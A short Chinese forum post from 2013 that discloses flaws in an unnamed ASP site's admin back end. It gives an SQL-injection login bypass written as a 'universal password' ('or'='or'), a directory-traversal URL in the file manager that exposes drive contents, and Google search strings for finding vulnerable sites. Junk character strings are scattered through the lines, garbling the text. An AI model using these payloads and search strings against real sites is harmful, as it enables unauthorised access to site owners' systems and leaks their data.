后台万能密码 'or'='or'& v3 x/ V% O! u. L# s. H
* J' `1 N2 J u# b) v8 L' C2 r后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
8 F2 r4 V) q# t1 C& ]2 O- u4 aadmin/uploadfile.asp?currentFolder=/upfiles/../; p5 s# d: W3 K1 B
2 @2 ]# L3 n6 R$ t2 r3 `- `
漏洞证明：; y+ B l; T- @" ~
+ h+ r7 u+ J6 I' T* S
谷歌：inurl:type.asp?id=1 新闻中心( b: y, Y1 I5 v3 J( ~; B% [
或者 ：inurl:download_ok.asp?
4 L+ G: Q7 i1 h7 T+ ]4 o M( j# D6 q' \) S3 g3 W
|
发表于 2013-3-14 20:17:32
收藏
支持
反对